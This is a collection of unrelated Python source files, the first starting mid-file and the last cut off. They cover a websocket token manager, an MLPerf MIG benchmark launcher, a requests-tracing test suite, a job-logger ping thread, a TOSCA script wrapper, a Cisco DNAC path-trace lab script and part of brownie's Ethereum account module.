self.websockets.keys(): ws = self.websockets[symbol]["ws"] if ws.open: tasks.append( ws.send("*" + self.websockets[symbol]["token"])) if len(tasks) > 0: loop.run_until_complete(asyncio.wait(tasks)) loop.close() self.logger.debug( "消息全部发送完毕. 耗时:%s" % (datetime.now() - start).total_seconds() ) time.sleep(55) # 持续检查一次更新token def token_renewer(self): while not self.stopped: loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) tasks = list() for symbol in self.websockets.keys(): ws = self.websockets[symbol]["ws"] if ws.open: if ( datetime.now() - self.websockets[symbol]["renewed"] ).total_seconds() > 180: tasks.append(self.renew_token(symbol)) if len(tasks) > 0: loop.run_until_complete(asyncio.wait(tasks)) loop.close() time.sleep(1) def stop(self): """ 调用stop()以后实际上并不会立刻停止, 一般会由ws断开(会在60秒内发生)以后退出循环, 伴随start()中三个线程的全部结束而停止 :return: """ self.stopped = True def start(self): """ """ self.is_login = self.login() if not self.is_login: raise NotLoginError self.stopped = False self.terminated = False # 开启token manager tokenRenewer = threading.Thread(target=self.token_renewer) tokenSender = threading.Thread(target=self.token_sender) websocketCreator = threading.Thread(target=self.websocket_creator) tokenRenewer.start() # 用于更新token tokenSender.start() # 用于定时发送token websocketCreator.start() # 用于建立websocket并接收消息 tokenRenewer.join() tokenSender.join() websocketCreator.join() self.terminated = True self.logger.info("SinaL2结束")
launch_heterogeneous_mig.py
#! /usr/bin/env python3 # Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ''' This script facilitates running an individual MLPerf Inference benchmark on a GPU istance while ensuring that other GPU instances on the same GPU are simultaneously running other MLPerf Inference benchmarks in the background. Given a set of benchmarks to run in the background and a benchmark to run as the 'main benchmark', it will start each backround benchmark on a different GPU instance and then monitor to ensure that all background benchmarks have entered the timed phase of their execution. Once that is detected, it will launch the main benchmark. Upon completion of the main benchmark, it checks to ensure that the background benchmarks are still running and waits for them to finish. This allows the user to confirm that measurements for the main benchmark are taken while all background benchmarks are still running. ''' import subprocess import argparse import sys import os import psutil import time import datetime import select import threading import queue # TODO: should move this to a common module datacenter_benchmarks = {'3d-unet', 'bert', 'dlrm', 'rnnt', 'resnet50', 'ssd-resnet34'} edge_benchmarks = {'3d-unet', 'bert', 'rnnt', 'resnet50', 'ssd-resnet34', 'ssd-mobilenet'} all_benchmarks = datacenter_benchmarks.union(edge_benchmarks) support_matrix = { '3d-unet': {'offline', 'singlestream'}, 'bert': {'offline', 'server', 'singlestream'}, 'dlrm': {'offline', 'server'}, 'rnnt': {'offline', 'server', 'singlestream'}, 'resnet50': {'offline', 'server', 'singlestream', 'multistream'}, 'ssd-mobilenet': {'offline', 'singlestream', 'multistream'}, 'ssd-resnet34': {'offline', 'server', 'singlestream', 'multistream'}, } def enqueue_output(out, queue): for line in iter(out.readline, b''): line = line.strip() if line: queue.put(line) time.sleep(.5) out.close() def early_exit(subprocesses): for process in subprocesses: try: for child in psutil.Process(process.pid).children(recursive=True): child.kill() process.kill() except psutil.NoSuchProcess: continue exit(1) class Logger(): def __init__(self): self.logfile = open('MIG_heterogeneous_{}.log'.format(datetime.datetime.now().strftime("%d_%H_%M_%S")), 'w') def log(self, string, loud=True): string += '\n' self.logfile.write(string) if loud: sys.stdout.write(string) def teardown(self): self.logfile.close() def get_args(): parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument( "--main_benchmark", default='resnet50', type=str.lower, help="The main benchmark from which to measure performance", ) parser.add_argument( "--main_scenario", help="The scenario to run for the main benchmark", default='offline', type=str.lower, choices=['singlestream', 'multistream', 'offline', 'server'], ) parser.add_argument( "--main_action", help="Makefile target for the main benchmark.", default="run_harness", choices=["run_harness", "run_audit_test01", "run_audit_test04", "run_audit_test05"] ) parser.add_argument( "--main_benchmark_duration", type=int, default=60000, help="Duration for which to run the main benchmark in milliseconds", ) parser.add_argument( "--main_benchmark_runargs", default="", type=str, help="Additional arguments to be passed in the harness RUN_ARGS for the main benchmark, passed as a string in quotes" ) parser.add_argument( "--start_time_buffer", type=int, default=80000, help="Time to delay between launching the background workloads and launching the main benchmark (whether or not all background benchmarks have started) in milliseconds", ) parser.add_argument( "--end_time_buffer_min", type=int, default=30000, help="Minimum acceptable time between completion of the main benchmark and completion of the background benchmarks in milliseconds", ) parser.add_argument( "--background_benchmarks", help="The set of benchmarks to run in the background as a csv with no spaces (macros 'all', 'edge', and 'datacenter' are also supported)", default='all', ) parser.add_argument( "--background_benchmark_duration", default='calculated', help="Duration for which to run the background benchmarks in milliseconds. Will be calculated by the script if not specified.", ) parser.add_argument( "--start_from_device", action='store_true', help="Start the dataset on the device for all benchmarks (main and background)", ) parser.add_argument( "--lenient", action='store_true', help="Allow the run to proceed even if desired overlap of benchmarks is not acheived" ) parser.add_argument( "--dryrun", action='store_true', help="Just print the benchmark commands that would be run", ) parser.add_argument( "--verbose", action='store_true', help="More verbose output on stdout, especially from the background benchmarks", ) return parser.parse_args() def main(): args = get_args() logger = Logger() # Expand the list of background benchmarks if macro was used and # then validate that the selected benchmarks are all supported. if args.background_benchmarks in {'all', 'datacenter', 'edge'}: background_benchmarks = list( { 'datacenter': datacenter_benchmarks, 'edge': edge_benchmarks, 'all': all_benchmarks }[args.background_benchmarks] ) else: background_benchmarks = args.background_benchmarks.split(',') background_benchmarks.sort() # Just for determinism :) for benchmark in background_benchmarks: assert benchmark in support_matrix, "Specified background benchmark {} is not supported".format(benchmark) # Set the duration for which to run the background benchmark. This can be specified or calculated based on the # configured delays and main benchmark runtime if args.background_benchmark_duration == 'calculated': background_benchmark_duration = int(args.start_time_buffer + (args.main_benchmark_duration * 1.2) + args.end_time_buffer_min) else: background_benchmark_duration = int(args.background_benchmark_duration) background_benchmark_action = "run_harness" # Set the prefix for logging messages that indicate something is wrong issue_prefix = "WARN: " if args.lenient else "ERROR: " # Ensure that the scenario chosen for the main benchmark is supported assert args.main_scenario in support_matrix[args.main_benchmark], "Specified main benchmark {} does not support the {} scenario".format(args.main_benchmark, args.main_scenario) # If we're running all the benchmarks at once, the main benchmark can't also be a background benchmark # That's because we have 7 GPU instances and 7 total benchmarks. if args.background_benchmarks == 'all': background_benchmarks.remove(args.main_benchmark) # Get the value to select each GPU instance with CUDA_VISIBLE_DEVICES p = subprocess.Popen("nvidia-smi -L | grep MIG | cut -d ' ' -f8 | sed 's/)//g'", universal_newlines=True, shell=True, stdout=subprocess.PIPE) mig_uuids = [line.strip() for line in p.stdout] num_gpu_instances = len(mig_uuids) assert len(background_benchmarks) < num_gpu_instances, "Should have fewer background benchmarks than GPU instances to leave one for the main benchmark" # Template command for running each of the benchmarks cmd_template = '''CUDA_VISIBLE_DEVICES={} make {} RUN_ARGS="--benchmarks={} --scenarios={} --config_ver=default --min_duration={}"''' if args.start_from_device: cmd_template = cmd_template[:-1] + ' --start_from_device=true"' main_cmd_template = cmd_template[:-1] + ' {} "'.format(args.main_benchmark_runargs) # Create directory to store logs from the background benchmarks so they do not contaminate # build/logs for submission background_log_dir = 'build/background_logs' if not (args.dryrun or os.path.exists(background_log_dir)): os.makedirs(background_log_dir) # Always set the min_query_count to 1 for background benchmarks so that their duration is purely based on the # min_duration setting background_cmd_template = cmd_template[:-1] + ' --min_query_count=1"' + ' LOG_DIR={}'.format(background_log_dir) # Launch each of the background workloads background_processes = [] completed_benchmarks = [False for i in range(len(background_benchmarks))] for i in range(len(background_benchmarks)): cmd = background_cmd_template.format( mig_uuids[i + 1], background_benchmark_action, background_benchmarks[i], 'offline', background_benchmark_duration ) logger.log('INFO: Launching background workload: {}'.format(cmd)) if not args.dryrun: background_processes.append(subprocess.Popen(cmd, universal_newlines=True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)) # Checking explicitly to detect that benchmarks have started by monitoring their logs in real-time # Using mechanism described on https://stackoverflow.com/questions/375427/a-non-blocking-read-on-a-subprocess-pipe-in-python to # poll stdout of each background benchmark if not args.dryrun: await_start_timeout = args.start_time_buffer / 1000 logger.log("INFO: Waiting for background benchmarks to reach timed section with a {} second timeout".format(await_start_timeout)) background_launch_time = datetime.datetime.now() background_queues = [queue.Queue() for i in range(len(background_benchmarks))] background_threads = [threading.Thread(target=enqueue_output, args=(background_processes[i].stdout, background_queues[i])) for i in range(len(background_benchmarks))] for t in background_threads: t.daemon = True t.start() unstarted_benchmarks = [True for i in range(len(background_benchmarks))] termination_check_counter = 0 while ((datetime.datetime.now() - background_launch_time).seconds < await_start_timeout) and (unstarted_benchmarks.count(True) > 0): found_lines = False for i, benchmark in enumerate(background_benchmarks): if unstarted_benchmarks[i]: try: line = background_queues[i].get_nowait() except queue.Empty: pass else: found_lines = True line = line.strip() logger.log("[{} {}]:".format(i, benchmark).upper() + line, loud=args.verbose) if line.endswith("running actual test."): logger.log("INFO: Detected that background benchmark {}, {} has started".format(i, background_benchmarks[i])) unstarted_benchmarks[i] = False if not found_lines: termination_check_counter += 1 if termination_check_counter == 30: for i, benchmark in enumerate(background_benchmarks): process_poll_result = background_processes[i].poll() if not (process_poll_result is None): unstarted_benchmarks[i] = False completed_benchmarks[i] = True logger.log( issue_prefix + "Background benchmark {}, {} exited earlier than expected with code {}".format(i, background_benchmarks[i], process_poll_result) ) if (not args.lenient): logger.teardown() early_exit(background_processes) time.sleep(.1) early_starters = [] if unstarted_benchmarks.count(True) > 0: early_starters = ["({}, {})".format(i, background_benchmarks[i]) for i in range(len(background_benchmarks)) if unstarted_benchmarks[i]] logger.log(issue_prefix + "Did not detect start of background benchmarks {} after waiting for specified delay.".format(early_starters)) if (not args.lenient): logger.teardown() early_exit(background_processes) remaining_delay = await_start_timeout - (datetime.datetime.now() - background_launch_time).seconds if remaining_delay > 0: logger.log("INFO: All background benchmarks have started, waiting for remaining delay of {} seconds.".format(remaining_delay)) time.sleep(remaining_delay) # Now launch the main benchmark cmd = main_cmd_template.format( mig_uuids[0], args.main_action, args.main_benchmark, args.main_scenario, args.main_benchmark_duration ) logger.log("INFO: Launching main benchmark: {}".format(cmd)) if not args.dryrun: main_benchmark_process = subprocess.Popen(cmd, universal_newlines=True, shell=True, stdout=sys.stdout, stderr=sys.stderr) main_exit_code = main_benchmark_process.wait() main_benchmark_complete_time = datetime.datetime.now() early_completions = completed_benchmarks.count(True) if main_exit_code != 0: logger.log(issue_prefix + "Main benchark ended with non-zero exit code {}.".format(main_exit_code)) if (not args.lenient): logger.teardown() early_exit(background_processes) logger.log("INFO: Main benchmark ended with exit code {}.".format(main_exit_code)) logger.log("INFO: Waiting for {} of {} background benchmarks to complete".format(len(background_benchmarks) - early_completions, len(background_benchmarks))) while completed_benchmarks.count(True) < len(background_benchmarks): for i, benchmark in enumerate(background_benchmarks): if not completed_benchmarks[i]: poll_result = background_processes[i].poll() if not (poll_result is None): if (datetime.datetime.now() - main_benchmark_complete_time).seconds < args.end_time_buffer_min / 1000: early_completions += 1 logger.log(issue_prefix + "Background benchmark {} completed too early.".format(benchmark)) completed_benchmarks[i] = True if poll_result != 0: logger.log(issue_prefix + "Background benchmark {} completed with non-zero exit code {}.".format(benchmark, poll_result)) if (not args.lenient): logger.teardown() early_exit(background_processes) logger.log("INFO: Background benchmark {}, {} completed with exit code {}.".format(i, benchmark, poll_result)) # Drain the stdout for all background benchmarks for i, benchmark in enumerate(background_benchmarks): with background_queues[i].mutex: remaining_lines = list(background_queues[i].queue) for line in remaining_lines: line = line.strip() logger.log("[{}, {}]:".format(i, benchmark).upper() + line, loud=args.verbose) if len(early_starters) == 0: logger.log("INFO: All background benchmarks started before the benchmark under test") else: logger.log( issue_prefix + "Background benchmarks {} did not start long enough before the benchmark under test. Consider a longer start_time_buffer setting".format(early_starters) ) if early_completions == 0: logger.log("INFO: All background benchmarks completed after the benchmark under test") else: logger.log(issue_prefix + "{} background benchmarks completed too early".format(early_completions)) logger.teardown() if __name__ == '__main__': main()
test_instrumented_session.py
# Copyright (C) 2018 SignalFx. All rights reserved. import threading import requests import pytest from opentracing.mocktracer import MockTracer from opentracing.ext import tags as ext_tags from requests.sessions import Session from flask import Flask, request from werkzeug.serving import make_server from signalfx_tracing.libraries import requests_config as config from signalfx_tracing import instrument, uninstrument server_port = 5678 server = "http://localhost:{}".format(server_port) @pytest.fixture(scope="session") def echo_container(): app = Flask(__name__) @app.route( "/", methods=[ "GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE", "PATCH", ], ) def echo(): if request.method == "HEAD": return "" return "hello world\n" srv = make_server("localhost", server_port, app) thread = threading.Thread(target=srv.serve_forever) try: yield thread.start() finally: srv.shutdown() class TestSessionTracing(object): @pytest.fixture def session_tracing(self, echo_container): tracer = MockTracer() config.tracer = tracer config.propagate = True config.span_tags = dict(custom="tag") instrument(requests=True) try: yield tracer finally: uninstrument("requests") @pytest.fixture def tracer(self, session_tracing): return session_tracing @pytest.fixture def top_level_session(self, session_tracing): return requests.Session() @pytest.fixture def session(self, session_tracing): return Session() @pytest.mark.parametrize( "method", ("get", "post", "put", "patch", "head", "delete", "options") ) def test_successful_top_level_session_requests( self, tracer, top_level_session, method ): with tracer.start_active_span("root"): response = getattr(top_level_session, method)(server) assert response.content.decode() == ( "hello world\n" if method != "head" else "" ) request = response.request spans = tracer.finished_spans() assert len(spans) == 2 req_span, root_span = spans assert req_span.operation_name == "requests.{}".format(method) tags = req_span.tags assert tags["custom"] == "tag" assert tags[ext_tags.COMPONENT] == "requests" assert tags[ext_tags.SPAN_KIND] == ext_tags.SPAN_KIND_RPC_CLIENT assert tags[ext_tags.HTTP_STATUS_CODE] == 200 assert tags[ext_tags.HTTP_METHOD] == method assert tags[ext_tags.HTTP_URL] == server assert ext_tags.ERROR not in tags assert request.headers["ot-tracer-spanid"] == "{0:x}".format( req_span.context.span_id ) assert request.headers["ot-tracer-traceid"] == "{0:x}".format( req_span.context.trace_id ) @pytest.mark.parametrize( "method", ("get", "post", "put", "patch", "head", "delete", "options") ) def test_successful_session_requests(self, tracer, session, method): with tracer.start_active_span("root"): response = getattr(session, method)(server) assert response.content.decode() == ( "hello world\n" if method != "head" else "" ) spans = tracer.finished_spans() assert len(spans) == 2 @pytest.mark.parametrize( "method", ("get", "post", "put", "patch", "head", "delete", "options") ) def test_successful_requests(self, tracer, method): with tracer.start_active_span("root"): response = getattr(requests, method)(server) assert response.content.decode() == ( "hello world\n" if method != "head" else "" ) spans = tracer.finished_spans() assert len(spans) == 2 def test_uninstrumented_clients_no_longer_trace(self, tracer): uninstrument("requests") for session in (requests, requests.Session()): response = session.get(server) assert response.content.decode() == "hello world\n" assert not tracer.finished_spans()
JobLoggerPingThread.py
# encoding=utf-8 from __future__ import unicode_literals import time import threading import datetime class JobLoggerPingThread(object): """ Not part of public API Helper class to house a thread that regularly calls JobModelAbstraction.update_model() """ def __init__(self, joblog): self._p = joblog self._thread = None self._ping_interval = self._p.config.ping_interval self._next_ping_time = None self._stop = False def start(self): if not self._thread: self._next_ping_time = datetime.datetime.now() + datetime.timedelta(seconds=self._ping_interval) self._thread = threading.Thread(target=self._mainloop) self._thread.start() def stop(self): self._stop = True if self._thread: self._thread.join() self._thread = None def _mainloop(self): while not self._stop: time.sleep(.5) if datetime.datetime.now() >= self._next_ping_time: self._next_ping_time = datetime.datetime.now() + datetime.timedelta(seconds=self._ping_interval) # print("PING") if not self._stop: self._p._model.update_model(allow_fail=True)
script_wrapper_static.py
def convert_env_value_to_string(envDict): for key, value in envDict.items(): envDict[str(key)] = str(envDict.pop(key)) def parse_output(output): # by convention, the last output is the result of the operation last_output = None outputs = {} pattern = re.compile('EXPECTED_OUTPUT_(\w+)=(.*)') for line in output.splitlines(): match = pattern.match(line) if match is None: last_output = line else: output_name = match.group(1) output_value = match.group(2) outputs[output_name] = output_value return {'last_output': last_output, 'outputs': outputs} def execute(script_path, process, outputNames, command_prefix=None, cwd=None, raiseException=True): os.chmod(script_path, 0755) on_posix = 'posix' in sys.builtin_module_names env = os.environ.copy() process_env = process.get('env', {}) env.update(process_env) if outputNames is not None: env['EXPECTED_OUTPUTS'] = outputNames if platform.system() == 'Windows': wrapper_path = ctx.download_resource("scriptWrapper.bat") else: wrapper_path = ctx.download_resource("scriptWrapper.sh") os.chmod(wrapper_path, 0755) command = '{0} {1}'.format(wrapper_path, script_path) else: command = script_path if command_prefix is not None: command = "{0} {1}".format(command_prefix, command) ctx.logger.info('Executing: {0} in env {1}'.format(command, env.keys())) process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env, cwd=cwd, bufsize=1, close_fds=on_posix) return_code = None stdout_consumer = OutputConsumer(process.stdout) stderr_consumer = OutputConsumer(process.stderr) while True: return_code = process.poll() if return_code is not None: break time.sleep(0.1) stdout_consumer.join() stderr_consumer.join() parsed_output = parse_output(stdout_consumer.buffer.getvalue()) if outputNames is not None: outputNameList = outputNames.split(';') for outputName in outputNameList: ctx.logger.info('Ouput name: {0} value : {1}'.format(outputName, parsed_output['outputs'].get(outputName, None))) if return_code != 0: error_message = "Script {0} encountered error with return code {1} and standard output {2}, error output {3}".format(command, return_code, stdout_consumer.buffer.getvalue(), stderr_consumer.buffer.getvalue()) ctx.logger.error(error_message) if raiseException: ctx.logger.debug("Script {0} will raise an exception".format(command)) raise NonRecoverableError(error_message) else: ok_message = "Script {0} executed normally with standard output {1} and error output {2}".format(command, stdout_consumer.buffer.getvalue(), stderr_consumer.buffer.getvalue()) ctx.logger.info(ok_message) return parsed_output def executePy(script_path, tosca_env_map): tosca_params={'tosca': {'inputs': tosca_env_map, 'outputs': {}}} execfile(script_path, globals().copy(), tosca_params) return tosca_params['tosca'] class OutputConsumer(object): def __init__(self, out): self.out = out self.buffer = StringIO() self.consumer = threading.Thread(target=self.consume_output) self.consumer.daemon = True self.consumer.start() def consume_output(self): for line in iter(self.out.readline, b''): self.buffer.write(unicode(line, errors='ignore')) self.out.close() def join(self): self.consumer.join()
lab2-2-get-path-trace-with-flowAnalysisId.py
""" Script name: lab2-2-get-path-trace-with-flowAnalysisId.py This script prints outA DNAC path trace information between the source and destination host(network device). """ from dnac import * import threading,time # Need it for delay - sleep() function def check_status(arg,arg1): """ Non-blocking wait function to check POST /flow-analysis status: INPROGRESS, COMPLETED, FAILED Parameters ---------- arg (str) : status of POST /flow-analysis arg1 (str): flowAnalysisId from POST /flow-analysis Return: ------- None """ status = arg flowAnalysisId = arg1 count = 0 while status != "COMPLETED": if status == "FAILED": print("Unable to find full path. No traceroute or netflow information found. Failing path calculation.") print("\n------ End of path trace ! ------") sys.exit() print ("\nTask is not finished yet, sleep 1 second then try again") time.sleep(1) count += 1 if count > 20: # timeout after ~ 20 seconds print ("\nScript time out, no routing path was found. Please try using different source and destination !") print("\n------ End of path trace ! ------") sys.exit() try: r = get(api="flow-analysis/"+flowAnalysisId) response_json = r.json() # print ("Response from GET /flow-analysis/"+flowAnalysisId,json.dumps(response_json,indent=4)) status = response_json["response"]["request"]["status"] print ("\n**** Check status here: ",status," ****\n") except: # Something is wrong print ("\nSomething is wrong when executing get /flow-analysis/{flowAnalysisId}") sys.exit() print ("Response from GET /flow-analysis/"+flowAnalysisId,json.dumps(response_json,indent=4)) print("\n------ End of path trace ! ------") def get_host_and_device(): """ This function returns a list of all hosts and network devices with a number tag. Return: ------ list: a list of all hosts and network devices with a number tag """ ip_list=[] idx=0 # Create a list of host and network device # Get host try: resp= get(api="host") response_json = resp.json() # Get the json-encoded content from response i=0 if response_json["response"] !=[]: for item in response_json["response"]: i+=1 ip_list.append([i,"host",item["hostIp"]]) idx=i # This idx(sequential number) will be used to tag host and network device # So far this number = the number of hosts except: print ("Something wrong, cannot get host IP list") # Now get network device and append it to the list try: resp= get(api="network-device") print ("Status: of GET /network-device ",resp.status_code) # This is the http request status response_json = resp.json() # Get the json-encoded content from response if response_json["response"] !=[]: for item in response_json["response"]: idx+=1 ip_list.append([idx,"network device",item["managementIpAddress"]]) except: print ("Something wrong ! Cannot get network-device IP list !") # Now "ip_list" should have hosts and network-devices return ip_list def select_ip(prompt,ip_list,idx): """ This function return a element that user selected from a tabular list Parameters ---------- prompt: str message to prompt user ip_list: list a list with idx that user can make a selection idx: int position of element to retrieve from list Return: ------- str: user selected IP address """ ip ="" while True: user_input = input(prompt) user_input= user_input.lstrip() # Ignore leading space if user_input.lower() == 'exit': sys.exit() if user_input.isdigit(): if int(user_input) in range(1,len(ip_list)+1): ip = ip_list[int(user_input)-1][idx] # The idx is the position of IP return ip else: print ("Oops! number is out of range, please try again or enter 'exit'") else: print ("Oops! input is not a digit, please try again or enter 'exit'") # End of while loop if __name__ == "__main__": # execute only if run as a script ip_idx = 2 nd_list = get_host_and_device() if len(nd_list) < 2: print ("We need at least 2 host or network-device to perform path trace!") sys.exit() print (tabulate(nd_list,headers=['number','type','ip'],tablefmt="rst")) print ("*** Please note that not all source/destination ip pair will return a path - no route. ! *** \n") s_ip = select_ip('=> Select a number for the source IP from above list: ',nd_list,ip_idx) # ip_idx (=2) is the position of IP in the list d_ip = select_ip('=> Select a number for the destination IP from above list: ',nd_list,ip_idx) # ip_idx (=2) is the position of IP in the list # Now we have the souce and destination IPs we can use them to POST /flow-analysis path_data = {"sourceIP": s_ip, "destIP": d_ip} # JSON input for POST /flow-analysis - simplify one # path_data= {"sourceIP":s_ip,"destIP":d_ip,"periodicRefresh":False,"inclusions":["QOS-STATS","INTERFACE-STATS","DEVICE-STATS","PERFORMANCE-STATS","ACL-TRACE"]} # above JSON will trigger the respone to include stats of QoS, interface, device and ACL trace r = post(api="flow-analysis",data=path_data) # Execute POST /flow-analysis response_json = r.json() print ("Response from POST /flow-analysis:\n",json.dumps(response_json,indent=4)) try: flowAnalysisId = response_json["response"]["flowAnalysisId"] except: print ("\n For some reason cannot get flowAnalysisId") sys.exit() ########################################################### # Check status of POST /flow-analysis - non-blocking wait # ########################################################### thread = threading.Thread(target=check_status, args=('',flowAnalysisId,)) # Passing <status = ''> thread.start()
account.py
#!/usr/bin/python3 import json import threading from getpass import getpass from pathlib import Path from typing import Any, Dict, Iterator, List, Optional, Tuple, Union import eth_account import eth_keys from hexbytes import HexBytes from brownie._config import CONFIG, _get_data_folder from brownie._singleton import _Singleton from brownie.convert import Wei, to_address from brownie.exceptions import ( ContractNotFound, IncompatibleEVMVersion, UnknownAccount, VirtualMachineError, ) from brownie.utils import color from .rpc import Rpc, _revert_register from .state import TxHistory from .transaction import TransactionReceipt from .web3 import _resolve_address, web3 history = TxHistory() rpc = Rpc() eth_account.Account.enable_unaudited_hdwallet_features() class Accounts(metaclass=_Singleton): """ List-like container that holds all available `Account` objects. Attributes ---------- default : Account, optional Default account to broadcast transactions from. """ def __init__(self) -> None: self.default = None self._accounts: List = [] # prevent sensitive info from being stored in readline history self.add.__dict__["_private"] = True self.from_mnemonic.__dict__["_private"] = True _revert_register(self) self._reset() def _reset(self) -> None: self._accounts.clear() try: self._accounts = [Account(i) for i in web3.eth.accounts] except Exception: pass # Check if accounts were manually unlocked and add them try: unlocked_accounts = CONFIG.active_network["cmd_settings"]["unlock"] if not isinstance(unlocked_accounts, list): unlocked_accounts = [unlocked_accounts] for address in unlocked_accounts: if isinstance(address, int): address = HexBytes(address.to_bytes(20, "big")).hex() account = Account(address) if account not in self._accounts: self._accounts.append(account) except (ConnectionError, ValueError, KeyError): pass if self.default not in self._accounts: self.default = None def _revert(self, height: int) -> None: # must exist for rpc registry callback pass def __contains__(self, address: str) -> bool: try: address = to_address(address) return address in self._accounts except ValueError: return False def __repr__(self) -> str: return str(self._accounts) def __iter__(self) -> Iterator: return iter(self._accounts) def __getitem__(self, key: int) -> Any: return self._accounts[key] def __delitem__(self, key: int) -> None: del self._accounts[key] def __len__(self) -> int: return len(self._accounts) def add(self, private_key: Union[int, bytes, str] = None) -> "LocalAccount": """ Create a new ``LocalAccount`` instance and appends it to the container. When the no private key is given, a mnemonic is also generated and outputted. Arguments --------- private_key : int | bytes | str, optional Private key of the account. If none is given, one is randomly generated. Returns ------- LocalAccount """ if private_key is None: w3account, mnemonic = eth_account.Account.create_with_mnemonic() print(f"mnemonic: '{color('bright cyan')}{mnemonic}{color}'") else: w3account = web3.eth.account.from_key(private_key) if w3account.address in self._accounts: return self.at(w3account.address) account = LocalAccount(w3account.address, w3account, w3account.key) self._accounts.append(account) return account def from_mnemonic( self, mnemonic: str, count: int = 1, offset: int = 0 ) -> Union["LocalAccount", List["LocalAccount"]]: """ Generate one or more `LocalAccount` objects from a seed phrase. Arguments --------- mnemonic : str Space-separated list of BIP39 mnemonic seed words count : int, optional The number of `LocalAccount` objects to create offset : int, optional The initial account index to create accounts from """ new_accounts = [] for i in range(offset, offset + count): w3account = eth_account.Account.from_mnemonic( mnemonic, account_path=f"m/44'/60'/0'/0/{i}" ) account = LocalAccount(w3account.address, w3account, w3account.key) new_accounts.append(account) if account not in self._accounts: self._accounts.append(account) if count == 1: return new_accounts[0] return new_accounts def load(self, filename: str = None) -> Union[List, "LocalAccount"]: """ Load a local account from a keystore file. Arguments --------- filename: str Keystore filename. If `None`, returns a list of available keystores. Returns ------- LocalAccount """ base_accounts_path = _get_data_folder().joinpath("accounts") if not filename: return [i.stem for i in base_accounts_path.glob("*.json")] filename = str(filename) json_file = Path(filename).expanduser() if not json_file.exists(): temp_json_file = json_file.with_suffix(".json") if temp_json_file.exists(): json_file = temp_json_file else: json_file_name = json_file.name json_file = base_accounts_path.joinpath(json_file_name) if json_file.suffix != ".json": json_file = json_file.with_suffix(".json") if not json_file.exists(): raise FileNotFoundError(f"Cannot find {json_file}") with json_file.open() as fp: priv_key = web3.eth.account.decrypt( json.load(fp), getpass("Enter the password to unlock this account: ") ) return self.add(priv_key) def at(self, address: str, force: bool = False) -> "LocalAccount": """ Retrieve an `Account` instance from the address string. Raises `ValueError` if the account cannot be found. Arguments --------- address: string Address of the account force: bool When True, will add the account even if it was not found in web3.eth.accounts Returns ------- Account """ address = _resolve_address(address) acct = next((i for i in self._accounts if i == address), None) if acct is None and (address in web3.eth.accounts or force): acct = Account(address) self._accounts.append(acct) if acct: return acct raise UnknownAccount(f"No account exists for {address}") def remove(self, address: Union[str, "Account"]) -> None: """ Remove an `Account` instance from the container. Arguments --------- address: str | Account Account instance, or string of the account address. """ address = _resolve_address(str(address)) try: self._accounts.remove(address) except ValueError: raise UnknownAccount(f"No account exists for {address}") def clear(self) -> None: """ Empty the container. """ self._accounts.clear() class PublicKeyAccount: """Class for interacting with an Ethereum account where you do not control the private key. Can be used to check the balance or nonce, and to send ether to.""" def __init__(self, addr: str) -> None: self.address = _resolve_address(addr) def __repr__(self) -> str: return f"<{type(self).__name__} '{self.address}'>" def __hash__(self) -> int: return hash(self.address) def __str__(self) -> str: return self.address def __eq__(self, other: Union[object, str]) -> bool: if isinstance(other, str): try: address = _resolve_address(other) return address == self.address except ValueError: return False if isinstance(other, PublicKeyAccount): return other.address == self.address return super().__eq__(other) def balance(self) -> Wei: """Returns the current balance at the address, in wei.""" balance = web3.eth.getBalance(self.address) return Wei(balance) @property def gas_used(self) -> int: """Returns the cumulative gas amount paid from this account.""" return sum(i.gas_used for i in history.from_sender(self.address)) @property def nonce(self) -> int: return web3.eth.getTransactionCount(self.address) class _PrivateKeyAccount(PublicKeyAccount): """Base class for Account and LocalAccount""" def __init__(self, addr: str) -> None: self._lock = threading.Lock() super().__init__(addr) def _pending_nonce(self) -> int: tx_from_sender = history.from_sender(self.address) if len(tx_from_sender) == 0: return self.nonce last_tx = tx_from_sender[-1] if last_tx.status == -1: return last_tx.nonce + 1 else: return self.nonce def _gas_limit(self, to: Optional["Accounts"], amount: int, data: Optional[str] = None) -> int: gas_limit = CONFIG.active_network["settings"]["gas_limit"] if isinstance(gas_limit, bool) or gas_limit in (None, "auto"): return self.estimate_gas(to, amount, data or "") return Wei(gas_limit) def _gas_price(self) -> Wei: gas_price = CONFIG.active_network["settings"]["gas_price"] if isinstance(gas_price, bool) or gas_price in (None, "auto"): return web3.eth.generateGasPrice() return Wei(gas_price) def _check_for_revert(self, tx: Dict) -> None: if not CONFIG.active_network["settings"]["reverting_tx_gas_limit"]: try: web3.eth.call(dict((k, v) for k, v in tx.items() if v)) except ValueError as e: raise VirtualMachineError(e) from None def deploy( self, contract: Any, *args: Tuple, amount: int = 0, gas_limit: Optional[int] = None, gas_price: Optional[int] = None, nonce: Optional[int] = None, required_confs: int = 1, ) -> Any: """Deploys a contract. Args: contract: ContractContainer instance. *args: Constructor arguments. The last argument may optionally be a dictionary of transaction values. Kwargs: amount: Amount of ether to send with transaction, in wei. gas_limit: Gas limit of the transaction. gas_price: Gas price of the transaction. nonce: Nonce to use for the transaction. Returns: * Contract instance if the transaction confirms and the contract exists * TransactionReceipt if the transaction is pending or reverts """ evm = contract._build["compiler"]["evm_version"] if rpc.is_active() and not rpc.evm_compatible(evm): raise IncompatibleEVMVersion( f"Local RPC using '{rpc.evm_version()}' but contract was compiled for '{evm}'" ) data = contract.deploy.encode_input(*args) with self._lock: try: txid = self._transact( # type: ignore { "from": self.address, "value": Wei(amount), "nonce": nonce if nonce is not None else self._pending_nonce(), "gasPrice": Wei(gas_price) or self._gas_price(), "gas": Wei(gas_limit) or self._gas_limit(None, amount, data), "data": HexBytes(data), } ) exc, revert_data = None, None except ValueError as e: exc = VirtualMachineError(e) if not hasattr(exc, "txid"): raise exc from None txid = exc.txid revert_data = (exc.revert_msg, exc.pc, 